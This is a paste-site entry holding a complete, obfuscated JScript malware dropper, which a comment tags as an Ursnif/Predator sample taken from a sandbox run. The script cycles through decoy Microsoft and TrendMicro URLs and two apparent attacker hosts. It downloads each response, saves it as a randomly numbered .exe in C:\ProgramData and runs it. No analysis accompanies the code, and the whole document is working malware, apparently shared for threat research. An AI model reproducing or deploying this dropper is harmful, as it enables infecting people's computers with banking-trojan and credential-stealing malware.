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ps66uk

js-dropper-001

Oct 8th, 2019
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  1. // #ursnif #predator dropper
  2. // from https://app.any.run/tasks/f6eec462-6b4c-43a8-89ce-0749f0a2a77e/
  3.  
  4. var c81a84500ed1b00245d5915b6f378c4b9 = ['https://docs.microsoft.com/en-us/aspnet/index/404', 'https://docs.microsoft.com/en-us/office/index/404', 'https://www.trendmicro.com/de_de/404.html', '4IGng/0ZfL57M', '', 'http://sogrospina.com/angosz/cecolf.php?l=allix1.tar', 'http://thachastew.com/Lwos.php'];
  5.  
  6. function c5e48828ccea2a557e05addda6e8a356c(c920de1499def1eaca0fc3daa89faaf36){
  7.         try{
  8.         var c06366560112cb267da2b804c02434d31 = WScript.CreateObject('MSXML2.XMLHTTP');
  9.         c06366560112cb267da2b804c02434d31.Open('GET', c920de1499def1eaca0fc3daa89faaf36, false);
  10.         c06366560112cb267da2b804c02434d31.Send();
  11.  
  12.         var ccb2ed58980ab60a3e21e23f385a6a6dd = Math.round(Math.random() * 103);
  13.  
  14.         if (c06366560112cb267da2b804c02434d31.Status == 200)
  15.         {
  16.             var cedd9f28b97948c82c3a1374834be6825 = WScript.CreateObject('ADODB.Stream');
  17.  
  18.             cedd9f28b97948c82c3a1374834be6825.Open();
  19.             cedd9f28b97948c82c3a1374834be6825.Type = 1;
  20.             cedd9f28b97948c82c3a1374834be6825.Write(c06366560112cb267da2b804c02434d31.ResponseBody);
  21.             cedd9f28b97948c82c3a1374834be6825.Position = 0;
  22.  
  23.             var cab6a85a7de6f8c8b456daa68bd3d4961 = WScript.CreateObject('Scripting.FileSystemObject');
  24.             if (cab6a85a7de6f8c8b456daa68bd3d4961.FileExists('C:\\ProgramData\\204' + ccb2ed58980ab60a3e21e23f385a6a6dd + '.exe'))
  25.             {
  26.                 cab6a85a7de6f8c8b456daa68bd3d4961.DeleteFile('C:\\ProgramData\\204' + ccb2ed58980ab60a3e21e23f385a6a6dd + '.exe');
  27.             }
  28.  
  29.             cedd9f28b97948c82c3a1374834be6825.SaveToFile('C:\\ProgramData\\204' + ccb2ed58980ab60a3e21e23f385a6a6dd + '.exe', 2);
  30.             cedd9f28b97948c82c3a1374834be6825.Close();
  31.  
  32.             (new ActiveXObject("Shell.Application").Open("C:\\ProgramData\\204" + ccb2ed58980ab60a3e21e23f385a6a6dd + ".exe"));
  33.  
  34.         }
  35.  
  36.         }catch(e){}
  37. }
  38.  
  39. for(var cd62a3ae55404f7d993846e953694ff01 = 0; cd62a3ae55404f7d993846e953694ff01 < c81a84500ed1b00245d5915b6f378c4b9.length; cd62a3ae55404f7d993846e953694ff01++){
  40.  
  41.     var c66d5f0ffe276525f3b2df450f48f1d96 = function() {c5e48828ccea2a557e05addda6e8a356c(c81a84500ed1b00245d5915b6f378c4b9[cd62a3ae55404f7d993846e953694ff01])};
  42.     c66d5f0ffe276525f3b2df450f48f1d96();
  43.     WScript.Sleep(4603);
  44.  
  45. }
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